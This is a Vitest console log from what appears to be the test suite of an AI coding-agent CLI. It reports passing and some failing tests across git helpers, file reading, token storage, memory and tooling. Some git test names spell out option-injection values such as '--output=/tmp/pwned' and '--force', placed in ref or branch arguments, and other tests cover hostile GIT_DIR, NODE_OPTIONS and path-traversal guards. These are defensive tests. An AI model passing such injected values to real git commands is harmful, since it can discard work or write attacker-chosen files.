✓ WebSearchTool execute > returns a structured result with answer, opened pages, candidates, queries, citation policy, and safety footer 1863ms
✓ src/permissions/shell-semantics.test.ts (109 tests) 1783ms
✓ src/utils/environmentContext.test.ts (64 tests) 2889ms
✓ getEnvironmentContext > should return basic environment context for a single directory 840ms
✓ src/models/modelConfigResolver.test.ts (56 tests) 964ms
✓ src/utils/editor.test.ts (152 tests) 2486ms
✓ src/utils/paths.test.ts (135 tests | 1 skipped) 1631ms
✓ src/telemetry/metrics.test.ts (49 tests) 5472ms
✓ Telemetry Metrics > recordToolCallMetrics > records an explicit terminal status only on the counter 404ms
✓ src/agents/runtime/agent-core.test.ts (33 tests) 1582ms
✓ src/services/monitorRegistry.test.ts (57 tests) 2211ms
✓ src/hooks/hookRunner.test.ts (37 tests) 1844ms
✓ src/hooks/hookRegistry.test.ts (39 tests) 1640ms
✓ src/skills/skill-curator.test.ts (36 tests) 6779ms
✓ auto-skill curator > only manages doubly-marked project auto-skills 1078ms
✓ auto-skill curator > refuses to restore over an existing active directory 472ms
✓ auto-skill curator > protects recently used skills and increments durable usage 538ms
✓ auto-skill curator > skips archive collisions while continuing with other packages 609ms
✓ src/qwen/sharedTokenManager.test.ts (32 tests) 1769ms
✓ src/core/client-goal.test.ts (22 tests) 2765ms
✓ GeminiClient Goal admission > flushes and queues real user input before finishing an exact Goal permit 342ms
✓ GeminiClient Goal admission > claims an active Goal for a real user and records real-user provenance 395ms
✓ GeminiClient Goal admission > runs runtime-scheduled Goal turns within the continuation budget without session budgets 640ms
✓ src/services/backgroundShellRegistry.test.ts (57 tests) 2506ms
✓ src/utils/read-text-range.test.ts (43 tests) 23109ms
✓ readTextRange > preserves split newline semantics on the fast path 406ms
✓ readTextRange > streams a large UTF-8 file and returns the requested range 2310ms
✓ readTextRange > streams a requested range from a caller-owned file handle 755ms
✓ readTextRange > reads a handle-bound range beyond 10 MiB with a byte cap 1380ms
✓ readTextRange > accepts handle-bound UTF-8 when the encoding sample splits an emoji 1863ms
✓ readTextRange > streams a large UTF-8 file from the beginning when no range is provided 921ms
✓ readTextRange > returns empty content when a large UTF-8 range starts beyond EOF 1586ms
✓ readTextRange > preserves CRLF content and line-ending metadata for large files 1044ms
✓ readTextRange > strips UTF-8 BOM from large file content and reports BOM metadata 758ms
✓ readTextRange > rejects large non-UTF-8 files with a targeted error 5121ms
✓ readTextRange > rejects large files with invalid UTF-8 beyond the encoding sample 403ms
✓ readTextRange > bounds selected output for a large single-line file 307ms
✓ readTextRange > propagates aborts before reading large files 952ms
✓ readTextRange > propagates aborts while streaming large files 1378ms
✓ readTextCursorWindowFromHandle > reconstructs the file exactly from the spans it reports 846ms
✓ readTextCursorWindowFromHandle > refuses a non-UTF-8 file 309ms
✓ readTextCursorWindowFromHandle > pages a file larger than one read chunk 797ms
✓ src/agents/team/tasks.test.ts (53 tests) 5181ms
✓ tasks > createTask > creates a task with auto-incremented ID 453ms
✓ tasks > releaseOwnedTask > resets an in_progress task owned by the expected owner 551ms
✓ src/goals/goal-tools.test.ts (30 tests) 5581ms
✓ GetGoalTool > uses the canonical Goal tool name 1263ms
✓ UpdateGoalTool > requires a non-empty reason and stable evidence references 796ms
✓ src/telemetry/qwen-logger/qwen-logger.test.ts (41 tests) 2384ms
✓ src/goals/goalJudge.test.ts (44 tests) 1529ms
✓ src/tools/notebook-edit.test.ts (31 tests) 6351ms
✓ NotebookEditTool > replaces a code cell by real ID and clears stale outputs 1923ms
✓ NotebookEditTool > blocks writing a secret into a team-memory notebook 677ms
✓ NotebookEditTool > blocks a secret in a sibling cell at execute time (full-notebook backstop) 374ms
✓ src/services/session-artifact-persistence.test.ts (29 tests) 1648ms
✓ session artifact persistence records > rebuilds durable artifacts and explicit tombstones from event records 311ms
✓ src/services/fileReadCache.test.ts (53 tests) 1628ms
✓ src/skills/skill-load.test.ts (68 tests) 1453ms
✓ src/services/commitAttribution.test.ts (58 tests) 1231ms
✓ src/services/usageHistoryService.test.ts (30 tests) 1673ms
✓ loadUsageHistory + persistSessionUsage (issue #4994 regression) > read-side: dedups duplicate sessionId records already on disk (last-wins) 336ms
✓ src/providers/__tests__/provider-config.test.ts (65 tests) 1211ms
✓ src/utils/pdf.test.ts (50 tests) 1408ms
✓ src/agents/team/test-utils/coordination-harness.test.ts (28 tests) 4779ms
✓ TeamCoordinationHarness > message routing > sends message from leader to teammate 620ms
✓ TeamCoordinationHarness > idle detection + auto task claiming > idle teammate claims pending task 310ms
✓ TeamCoordinationHarness > concurrent task claiming > only one worker claims a single task 309ms
✓ TeamCoordinationHarness > spawn cap > concurrent spawns cannot exceed MAX_TEAMMATES 505ms
✓ TeamCoordinationHarness > leader inbox > concurrent reads do not double-deliver the same messages 510ms
✓ src/utils/sessionStorageUtils.test.ts (53 tests) 1115ms
✓ src/utils/forkedAgent.cache.test.ts (18 tests) 886ms
✓ src/agents/runtime/agent-interactive.test.ts (24 tests) 2344ms
✓ src/services/chatRecordingService.customTitle.test.ts (24 tests) 1910ms
✓ src/memory/memory-scoped-agent-config.test.ts (22 tests) 3357ms
✓ createMemoryScopedAgentConfig > restricts reads to memory paths only when requested 350ms
✓ createMemoryScopedAgentConfig > allows only read-only shell commands when shell is enabled 1553ms
✓ src/utils/truncation.test.ts (40 tests) 1445ms
✓ truncateAndSaveToFile preview budget > stays within budget for every previewChars from 0 to 120 349ms
✓ src/utils/runtimeFetchOptions.test.ts (69 tests) 1813ms
✓ redactProxyError > preserves SDK error metadata while redacting nested causes 310ms
✓ src/agents/arena/ArenaManager.test.ts (28 tests) 7834ms
✓ ArenaManager > backend initialization > should emit SESSION_UPDATE with type warning when backend detection returns warning 887ms
✓ ArenaManager > chat history forwarding > passes approvalMode to in-process backend spawn configs 646ms
✓ ArenaManager > chat history forwarding > should pass chatHistory to backend spawnAgent calls 830ms
✓ ArenaManager > chat history forwarding > should pass undefined chatHistory when not provided 563ms
✓ ArenaManager > chat history forwarding > builds the in-process worker system prompt in headless interaction mode 576ms
✓ ArenaManager > chat history forwarding > does not embed the auto-memory section in the worker system prompt 562ms
✓ ArenaManager > active session lifecycle > collects diff summaries and fallback approach summaries 1178ms
✓ ArenaManager > active session lifecycle > cancel should stop backend and move session to CANCELLED 665ms
✓ ArenaManager > active session lifecycle > cleanup should release backend and worktree resources after start 629ms
✓ src/tools/computer-use/tool.test.ts (40 tests) 3389ms
✓ ComputerUseTool > forwards execute() to the shared client with the upstream name 1440ms
✓ ComputerUseTool > returns an error result when client returns isError=true 454ms
✓ src/services/fileSystemService.test.ts (68 tests) 1886ms
✓ StandardFileSystemService > writeTextFile > should write file with non-UTF-8 encoding using iconv-lite 596ms
✓ src/telemetry/gen-ai-content.test.ts (27 tests) 3950ms
✓ pinned OpenTelemetry JSON Schemas > accepts the canonical values emitted by the converters 3136ms
✓ src/services/tokenUsageService.test.ts (18 tests) 3086ms
✓ tokenUsageService > maps an API response event to a privacy-preserving usage record 740ms
✓ tokenUsageService > persists API usage to monthly JSONL and aggregates daily totals 558ms
✓ src/goals/goalHook.test.ts (38 tests) 1472ms
✓ src/utils/git-branches.test.ts (57 tests) 67135ms
✓ gitEnv (R12 env isolation) > keeps repository discovery on the cwd even with a hostile GIT_DIR 1404ms
✓ fetchGitBranches recent branches > lists recently checked-out branches from the reflog 1261ms
✓ gitCheckout > switches to an existing branch 1096ms
✓ gitCheckout > checks out a tag into a detached HEAD 1108ms
✓ gitCheckout > checks out the tag, not a same-named branch, via refs/tags/ 1621ms
✓ gitCheckout > rejects a pathspec ref that would discard working-tree changes 736ms
✓ gitCheckout > rejects option injection via -f 645ms
✓ gitCheckout > rejects option injection via --force 673ms
✓ gitCheckout > rejects option injection via --patch 640ms
✓ gitCheckout > rejects option injection via --output=/tmp/pwned 653ms
✓ gitCheckout > does not revert a dirty file when ref names a tracked path 814ms
✓ gitCreateBranch > creates a branch from a valid start point 936ms
✓ gitCreateBranch > rejects an invalid start point -f 640ms
✓ gitCreateBranch > rejects an invalid start point --orphan 663ms
✓ gitCreateBranch > rejects an invalid start point . 671ms
✓ gitCreateBranch > rejects an invalid branch name -f 686ms
✓ gitCreateBranch > rejects an invalid branch name --orphan 653ms
✓ gitCreateBranch > rejects an invalid branch name 661ms
✓ gitCreateBranch > treats a tracked filename as a ref, not a pathspec (-- terminator) 931ms
✓ gitCreateBranch rollback (R12) > rolls back a branch created before a failing post-checkout hook 1440ms
✓ gitPush > throws a clear error when setUpstream is used in detached HEAD 918ms
✓ gitPush > preserves an existing upstream instead of rewriting it 2928ms
✓ gitPush > resolves the sole configured remote when no upstream exists 2288ms
✓ gitPush > uses --force-with-lease when force is requested 2430ms
✓ gitPush push-remote precedence (R12) > honors remote.pushDefault over the sole/origin remote 2427ms
✓ gitPush push-remote precedence (R12) > honors branch..pushRemote over branch..remote 2505ms
✓ gitCommit > commits staged changes and returns sha and subject 1119ms
✓ gitCommit > stages untracked files when all is true 1253ms
✓ gitCommit > throws on a clean working tree 994ms
✓ gitPull > fetch-only does not merge a divergent remote commit 3833ms
✓ gitPull > merge pull integrates a remote commit 3874ms
✓ gitPull > rebase pull integrates a remote commit 4072ms
✓ gitCommit index rollback (R10 #1) > restores the original index when the commit fails after add -A 1371ms
✓ gitCommit index rollback (R10 #1) > refuses add -A when unmerged entries prevent rollback 4213ms
✓ gitCommit index rollback (R10 #1) > refuses add -A when write-tree fails for a non-unmerged reason 780ms
✓ gitCheckout remote-tracking refs (R10 #4) > tracks the exact remote ref when no local branch exists (multi-remote) 5192ms
✓ gitCheckout remote-tracking refs (R10 #4) > rejects a remote-tracking ref whose local name is an option (e.g. origin/-f) 1738ms
✓ gitCheckout remote-tracking refs (R10 #4) > checks out the existing local branch rather than the remote commit 4037ms
✓ getDefaultBranch (R10 #3) > returns the fully-qualified remote ref so log ranges stay correct 2135ms
✓ getDefaultBranch (R10 #3) > returns null when origin/HEAD is not set 675ms
❯ src/utils/ripgrepUtils.test.ts (34 tests | 19 failed) 1821ms
✓ ripgrepUtils > getBuiltinRipgrep > should return path with .exe extension on Windows 119ms
✓ ripgrepUtils > getBuiltinRipgrep > should return path without .exe extension on macOS 17ms
✓ ripgrepUtils > getBuiltinRipgrep > should return path without .exe extension on Linux 10ms
✓ ripgrepUtils > getBuiltinRipgrep > should return null for unsupported platform 9ms
✓ ripgrepUtils > getBuiltinRipgrep > should return null for unsupported architecture 6ms
✓ ripgrepUtils > getBuiltinRipgrep > should handle all supported platform/arch combinations 30ms
× ripgrepUtils > resolveRipgrep > keeps builtin and system selections cached separately 515ms
→ expected { mode: 'system', command: 'rg' } to match object { mode: 'builtin' }
(1 matching property omitted from actual)
✓ ripgrepUtils > resolveRipgrep > falls back to system ripgrep when builtin is enabled but unavailable 26ms
× ripgrepUtils > runRipgrep > treats exit code 1 with empty stdout and stderr as no matches 309ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > does not treat exit code 1 with stderr as no matches 23ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > treats exit code 1 with json summary on stdout as no matches 15ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > treats exit code 1 with both stdout and stderr as an exit error 18ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > retries a confirmed internal thread EAGAIN with one thread 14ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > returns the retry failure when the single-thread retry also fails 18ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > marks retry result as incomplete when retry produces partial output 31ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > does not retry a spawn EAGAIN because ripgrep never started 14ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > does not retry canceled execution even when stderr mentions thread EAGAIN 27ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > marks canceled execution with partial stdout as incomplete and drops the last line 18ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > does not retry unconfirmed resource unavailable text 15ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > retries os error 11 as a short EAGAIN marker 28ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > does not retry when the expected --threads 4 pair is absent 17ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > removes the potentially incomplete last line after timeout 13ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > classifies maxBuffer output as incomplete 17ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
× ripgrepUtils > runRipgrep > settles one attempt once when callback and error event both arrive 16ms
→ Cannot destructure property 'available' of '(0 , isCommandAvailable)(...)' as it is undefined.
✓ ripgrepUtils > canUseRipgrep builtin fallback > falls back to system rg when the bundled binary exists but cannot run 28ms
✓ ripgrepUtils > canUseRipgrep builtin fallback > caches the fallback selection and does not re-probe the broken builtin 24ms
× ripgrepUtils > canUseRipgrep builtin fallback > reports the bundled failure when system rg is unusable too 173ms
→ expected [Function] to throw error including 'bundled rg broken' but got 'system rg broken'
✓ ripgrepUtils > canUseRipgrep builtin fallback > leaves the system-only selection unpolluted after a fallback 16ms
✓ ripgrepUtils > canUseRipgrep builtin fallback > resolves for every concurrent caller, not just the first 10ms
✓ ripgrepUtils > canUseRipgrep builtin fallback > lets runRipgrep fall back instead of throwing 45ms
× ripgrepUtils > canUseRipgrep builtin fallback > reports the bundled failure when no system rg is installed 58ms
→ promise resolved "false" instead of rejecting
✓ ripgrepUtils > canUseRipgrep builtin fallback > returns false when neither bundled nor system rg is available 13ms
✓ ripgrepUtils > canUseRipgrep builtin fallback > rejects a system rg that does not identify itself as ripgrep 14ms
✓ ripgrepUtils > canUseRipgrep builtin fallback > never probes the bundled binary when useBuiltin is false (#5361) 15ms
✓ src/agents/agent-transcript.test.ts (32 tests) 1167ms
✓ src/services/chatRecordingService.autoTitle.test.ts (20 tests) 1575ms
✓ ChatRecordingService - auto-title trigger > writes an auto-sourced title after the first assistant turn 348ms
✓ src/config/storage.test.ts (66 tests) 1355ms
✓ src/utils/forkedAgent.agent.test.ts (13 tests) 1662ms
✓ runForkedAgent (AgentHeadless path) bound-tool isolation > does not treat empty extraHistory as caller-owned initial messages by default 651ms
✓ src/tools/agent/agent-override.test.ts (22 tests) 3271ms
✓ createApprovalModeOverride bound-tool isolation > copies the current plan-exit event before isolating approval mode 438ms
✓ createApprovalModeOverride bound-tool isolation > copies discovered tools from the parent registry without re-discovering 1542ms
✓ src/services/gitWorktreeService.symlinks.integ.test.ts (15 tests) 27009ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > symlinks a configured directory into the new worktree 3025ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > silently skips a missing source directory 1743ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > silently skips an existing destination (no overwrite) 1706ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > rejects absolute paths 1644ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > rejects paths that traverse outside the repo root 1972ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > rejects paths inside .git (security guard) 1740ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > rejects paths inside .qwen (security guard) 1710ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > works when the repo path itself contains a symlink boundary (round-7 self-inflicted regression guard) 2386ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > refuses sources whose realpath escapes the repo root or lands in .git/.qwen (committed-symlink bypass) 1641ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > rejects any entry containing a '..' segment (docs contract) 1979ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > handles multiple entries — some present, some missing 1604ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > Phase D-3: fetchPullRequestRef error messages > returns the "origin remote" error when origin is missing 1001ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > Phase D-3: fetchPullRequestRef error messages > rejects out-of-range PR numbers without firing git 695ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > Phase D-3: fetchPullRequestRef error messages > handles "no such ref" when origin is reachable but the PR does not exist 1793ms
✓ GitWorktreeService.createUserWorktree() — symlinkDirectories > is a no-op when symlinkDirectories is omitted or empty 2281ms
✓ src/core/contentGenerator.test.ts (21 tests) 10786ms
✓ createContentGenerator > should defer Gemini content generator creation until first use 9230ms
✓ createContentGenerator - ERR_MODULE_NOT_FOUND handling > should throw friendly restart message with cause when dynamic import fails with ERR_MODULE_NOT_FOUND 634ms
✓ src/telemetry/config.test.ts (47 tests) 821ms
✓ src/utils/openaiLogger.test.ts (40 tests) 2582ms
✓ OpenAILogger > logInteraction > should log error when provided 349ms
✓ src/lsp/NativeLspService.integration.test.ts (30 tests) 760ms
✓ src/extension/marketplace.test.ts (33 tests) 1578ms
✓ src/providers/__tests__/install.test.ts (22 tests) 1874ms
✓ applyProviderInstallPlan > refuses an install plan that sets a reserved env var (NODE_OPTIONS) 391ms
✓ applyProviderInstallPlan > continues env rollback even when settings.restore itself throws 366ms
✓ src/utils/filesearch/fileSearch.test.ts (29 tests) 8788ms
✓ FileSearch > should use .qwenignore rules 1029ms
✓ FileSearch > should combine .gitignore and .qwenignore rules 342ms
✓ FileSearch > should handle negated directories 318ms
✓ FileSearch > should handle directory negation with glob 315ms
✓ FileSearch > should be cancellable via AbortSignal 396ms
✓ FileSearch > should leverage ResultCache for bestBaseQuery optimization 303ms
✓ FileSearch > should be case-insensitive by default 826ms
✓ FileSearch > DirectoryFileSearch > should respect ignore rules 313ms
✓ src/core/tokenLimits.test.ts (79 tests) 1055ms
✓ src/hooks/promptHookRunner.test.ts (27 tests) 1513ms
✓ PromptHookRunner > execute > should execute prompt hook successfully with ok:true 313ms
✓ src/services/gitWorktreeService.test.ts (27 tests) 992ms
✓ src/services/sessionService.rename.test.ts (18 tests) 1338ms
✓ SessionService - rename and custom title > findSessionsByTitle > should not skip matches when multiple sessions share the same mtime (regression for PR #3093 review) 371ms
✓ src/memory/extract.test.ts (16 tests) 2601ms
✓ auto-memory extraction > updates cursor and avoids duplicate writes for repeated extraction 764ms
✓ src/core/session-start-profiler.test.ts (21 tests) 1934ms
✓ session-start-profiler > writes bounded JSONL without sensitive fields 363ms
✓ session-start-profiler > writes profile records when O_NOFOLLOW is unavailable 310ms
✓ src/utils/rulesDiscovery.test.ts (36 tests) 2629ms
✓ rulesDiscovery > parseRuleFile > parses a rule with paths frontmatter 720ms
❯ src/tools/computer-use/client.test.ts (38 tests | 1 failed) 5953ms
✓ ComputerUseClient > is constructible 92ms
✓ ComputerUseClient > reports not-started before start() is called 17ms
× ComputerUseClient > returns the same instance for repeated callers via singleton 279ms
→ Computer Use: unsupported Linux arch 'riscv64' (only x64).
✓ applyRuntimeConfig (set_config on connect) > pushes max_image_dimension via set_config when an override is configured 115ms
✓ applyRuntimeConfig (set_config on connect) > applies 0 (disable resizing) as an explicit override, not "unset" 50ms
✓ applyRuntimeConfig (set_config on connect) > does nothing when no override is set (driver keeps its built-in default) 21ms
✓ applyRuntimeConfig (set_config on connect) > never aborts startup when set_config fails — warns via progress and swallows 122ms
✓ idle shutdown > defaults to a 5 minute idle timeout 176ms
✓ idle shutdown > treats negative idle timeouts as invalid and falls back to the default 27ms
✓ idle shutdown > uses the configured idle timeout after the last tool call 258ms
✓ idle shutdown > does not stop while another tool call is still active 62ms
✓ idle shutdown > disables idle shutdown when configured as 0 25ms
✓ idle shutdown > reschedules the idle timer when setIdleTimeoutMs is called while pending 99ms
✓ idle shutdown > cancels the pending idle timer when stop() is called explicitly 14ms
✓ idle shutdown > treats %p as invalid and falls back to the default NaN 24ms
✓ idle shutdown > treats %p as invalid and falls back to the default Infinity 14ms
✓ idle shutdown > treats %p as invalid and falls back to the default -Infinity 24ms
✓ idle shutdown > treats idle timeouts above the setTimeout safe range as invalid 38ms
✓ isTransportClosedError > matches "Connection closed" (StdioClientTransport stream closed) 26ms
✓ isTransportClosedError > matches SDK JSON-RPC wrapping: "MCP error -32000: Connection closed" 14ms
✓ isTransportClosedError > matches "Not connected" (Client guard before transport is open) 6ms
✓ isTransportClosedError > matches the daemon-restart error (Screen Recording grant → daemon restart) 6ms
✓ isTransportClosedError > matches a bare "Connection refused" / "os error 61" 7ms
✓ isTransportClosedError > is case-insensitive 11ms
✓ isTransportClosedError > does NOT match unrelated upstream tool errors 5ms
✓ isTransportClosedError > does NOT match element_index errors 4ms
✓ isTransportClosedError > handles non-Error values (string, undefined, plain object) 7ms
✓ callTool reconnect path > returns result directly when first call succeeds (no reconnect) 27ms
✓ callTool reconnect path > reconnects and retries on "Connection closed", returns retry result 19ms
✓ callTool reconnect path > reconnects on "MCP error -32000: Connection closed" SDK variant 11ms
✓ callTool reconnect path > reconnects on "Not connected" variant 12ms
✓ callTool reconnect path > reconnects on the daemon-restart "Connection refused" error 16ms
✓ callTool reconnect path > does NOT reconnect on non-transport errors (e.g. upstream tool validation) 94ms
✓ callTool reconnect path > does NOT reconnect on element_index errors from upstream 15ms
✓ callTool reconnect path > re-throws when retry also fails (no infinite reconnect loop) 18ms
✓ callTool reconnect path > succeeds on a later attempt after backing off past an earlier transport failure 1019ms
✓ callTool reconnect path > exhausts exactly 3 reconnect attempts on persistent transport errors, then re-throws the last 3029ms
✓ callTool reconnect path > rethrows immediately when a retry hits a non-transport error (no further attempts) 25ms
✓ src/services/cronTasksFile.test.ts (44 tests) 3348ms
✓ src/utils/memoryDiagnostics.test.ts (12 tests) 1368ms
✓ collectMemoryDiagnostics > captures memory, V8, resource, handle, fd, smaps, and risk data 365ms
✓ src/services/compactionInputSlimming.test.ts (37 tests) 966ms
✓ src/utils/notebook.test.ts (30 tests) 1665ms
✓ notebook utilities > should parse a simple notebook with code and markdown cells 330ms
✓ src/utils/workspaceContext.test.ts (45 tests) 1447ms
✓ src/hooks/sessionHooksManager.test.ts (36 tests) 796ms
✓ src/tools/exitPlanMode.test.ts (30 tests) 1321ms
✓ ExitPlanModeTool > exposes the plan schema without the removed gate fields 316ms
✓ src/memory/skillReviewAgentPlanner.test.ts (30 tests) 1839ms
✓ skillReviewAgentPlanner — write_file collision deny (#4437) > denies write_file to an existing AUTO-skill path (the #4437 bug — was 'allow') 334ms
✓ src/core/message-display-dispatcher.test.ts (18 tests) 1173ms
✓ MessageDisplayDispatcher > delivers a due mid-stream flush and then the final flush, sharing one message_id 368ms
✓ src/utils/gitDirect.test.ts (68 tests) 2503ms
✓ readGitHead > parses a branch 306ms
✓ src/agents/backends/ITermBackend.test.ts (46 tests) 1740ms
✓ src/core/xml-tool-call-fallback.test.ts (42 tests) 795ms
✓ src/memory/remember.test.ts (16 tests) 2396ms
✓ remember memory helper > runs clean context with managed-memory tools only 480ms
✓ remember memory helper > propagates failed and cancelled agent termination reasons 439ms
✓ src/core/openaiContentGenerator/provider/default.test.ts (28 tests) 1016ms
✓ src/memory/forget.test.ts (11 tests) 1747ms
✓ selectManagedAutoMemoryForgetCandidates > pins the destructive selector to the main model, not the fast model 307ms
✓ selectManagedAutoMemoryForgetCandidates > does not delete matched files when cancelled before applying matches 355ms
✓ selectManagedAutoMemoryForgetCandidates > removes only the selected entry index when summaries are duplicated 326ms
✓ src/tools/zoom-image.test.ts (19 tests) 9996ms
✓ ZoomImageTool > returns a magnified crop from the selected normalized region 3955ms
✓ ZoomImageTool > interprets coordinates in the EXIF-oriented image space 390ms
✓ ZoomImageTool > bounds the returned view by edge, patch, and byte budgets 2661ms
✓ src/services/session-organization-service.test.ts (24 tests) 2658ms
✓ SessionOrganizationService > starts with no user groups and exposes fixed color options 313ms
✓ SessionOrganizationService > creates, updates, and rejects duplicate group names case-insensitively 442ms
✓ src/utils/shellContextEnv.test.ts (28 tests) 769ms
✓ src/utils/sideQuery.test.ts (23 tests) 3161ms
✓ runSideQuery > JSON mode (schema present) > routes through BaseLlmClient.generateJson with default policy 1413ms
✓ src/utils/secure-browser-launcher.test.ts (31 tests) 1375ms
✓ src/services/sleepInhibitor.test.ts (23 tests) 2308ms
✓ SleepInhibitor > starts systemd-inhibit on linux and stops it after the final release 523ms
✓ src/agents/arena/ArenaAgentClient.test.ts (21 tests) 1414ms
✓ src/memory/prompt.test.ts (33 tests) 607ms
✓ src/followup/speculation.test.ts (16 tests) 1580ms
✓ startSpeculation > stops at a boundary when the host guard denies a speculative invocation 469ms
✓ src/mcp/oauth-token-storage.test.ts (31 tests) 5382ms
✓ MCPOAuthTokenStorage > with encrypted flag false > getAllCredentials > should return empty map when token file does not exist 434ms
✓ MCPOAuthTokenStorage > with encrypted flag false > getAllCredentials > should handle file read errors other than ENOENT 311ms
✓ src/utils/tool-response-finalizer.test.ts (21 tests) 676ms
✓ src/config/config.safe-mode.test.ts (24 tests) 1989ms
✓ Config safe mode > isSafeMode() > returns false by default 426ms
✓ Config safe mode > safe mode MCP discovery — a stranded-server regression (found live-testing PR #7827) > still kicks off background MCP discovery in safe mode when a top-tier server is present 634ms
✓ src/tools/ls.test.ts (30 tests) 5706ms
✓ LSTool > parameter validation > should accept valid absolute paths within workspace 1511ms
✓ LSTool > execute > should list files in a directory 768ms
✓ LSTool > execute > should respect gitignore patterns 630ms
✓ src/goals/goal-evidence.test.ts (16 tests) 958ms
✓ Goal evidence catalog > bounds the catalog while retaining the newest evidence 323ms
✓ src/extension/variables.test.ts (22 tests) 1529ms
✓ performVariableReplacement > should replace ${CLAUDE_PLUGIN_ROOT} in markdown files 509ms
✓ src/utils/fetch.test.ts (64 tests) 5209ms
✓ fetchWithPolicy > returns the response body, status and final URL 646ms
✓ fetchWithPolicy retry > retries once on 403 and returns the successful second response 544ms
✓ fetchWithPolicy retry > retries once on 429 and returns the successful second response 536ms
✓ fetchWithPolicy retry > returns the original 403 when the retry also fails 532ms
✓ fetchWithPolicy retry > retries once on transient network errors (ECONNRESET) 528ms
✓ fetchWithPolicy retry > retries once on transient network errors (EAI_AGAIN) 516ms
✓ fetchWithPolicy retry abort handling > retries once on undici socket errors (UND_ERR_SOCKET) 524ms
✓ src/telemetry/tracer.test.ts (31 tests) 1008ms
✓ src/services/image-generation-service.test.ts (17 tests) 3049ms
✓ generateImage > returns verified image bytes from a synchronous image endpoint 710ms
✓ generateImage > pins the validated result hostname for the download connection 1653ms
✓ src/mcp/oauth-utils.test.ts (33 tests) 909ms
✓ src/utils/systemEncoding.test.ts (41 tests) 871ms
✓ src/agents/backends/TmuxBackend.test.ts (27 tests) 1661ms
✓ TmuxBackend > throws if spawnAgent is called before init 350ms
✓ src/memory/extractionAgentPlanner.test.ts (17 tests) 1114ms
✓ runAutoMemoryExtractionByAgent > derives touchedTopics from filesTouched and returns systemMessage 384ms
✓ src/core/geminiContentGenerator/geminiContentGenerator.test.ts (16 tests) 718ms
✓ src/core/openaiContentGenerator/provider/deepseek.test.ts (25 tests) 740ms
✓ src/mcp/token-storage/file-token-storage.test.ts (25 tests) 10794ms
✓ FileTokenStorage > getCredentials > should throw error when file does not exist 669ms
✓ FileTokenStorage > getCredentials > should return null for expired tokens 506ms
✓ FileTokenStorage > getCredentials > should return credentials for valid tokens 463ms
✓ FileTokenStorage > getCredentials > should throw error for corrupted files 397ms
✓ FileTokenStorage > setCredentials > should create token file when saving credentials for the first time 497ms
✓ FileTokenStorage > setCredentials > should save credentials with encryption 419ms
✓ FileTokenStorage > setCredentials > should update existing credentials 423ms
✓ FileTokenStorage > setCredentials > should propagate atomicWriteFile failures 417ms
✓ FileTokenStorage > deleteCredentials > should throw when credentials do not exist 404ms
✓ FileTokenStorage > deleteCredentials > should delete file when last credential is removed 410ms
✓ FileTokenStorage > deleteCredentials > should update file when other credentials remain 411ms
✓ FileTokenStorage > deleteCredentials > should propagate atomicWriteFile failures 408ms
✓ FileTokenStorage > listServers > should throw error when file does not exist 396ms
✓ FileTokenStorage > listServers > should return list of server names 409ms
✓ FileTokenStorage > clearAll > should delete the token file 404ms
✓ FileTokenStorage > clearAll > should not throw when file does not exist 414ms
✓ FileTokenStorage > encryption > should encrypt and decrypt data correctly 411ms
✓ FileTokenStorage > encryption > should produce different encrypted output each time 410ms
✓ FileTokenStorage > encryption > should throw on invalid encrypted data format 393ms
✓ FileTokenStorage > secret storage > isAvailable() is always true for the file backend 407ms
✓ FileTokenStorage > secret storage > returns null / empty when no secret file exists 403ms
✓ FileTokenStorage > secret storage > persists a secret encrypted under the service name 418ms
✓ FileTokenStorage > secret storage > reads back a stored secret and ignores other keys and services 414ms
✓ FileTokenStorage > secret storage > deletes a secret and drops the now-empty service bucket 410ms
✓ FileTokenStorage > secret storage > deleting a missing secret is a no-op (no write, no throw) 400ms
✓ src/tools/send-message.test.ts (20 tests) 2948ms
✓ SendMessageTool — team mode > sends a message via TeamManager 1386ms
✓ src/tools/task-stop.test.ts (14 tests) 2306ms
✓ TaskStopTool > cancels a running agent 1334ms
✓ src/utils/conversation-branches.test.ts (20 tests) 701ms
✓ src/utils/schemaConverter.test.ts (30 tests) 500ms
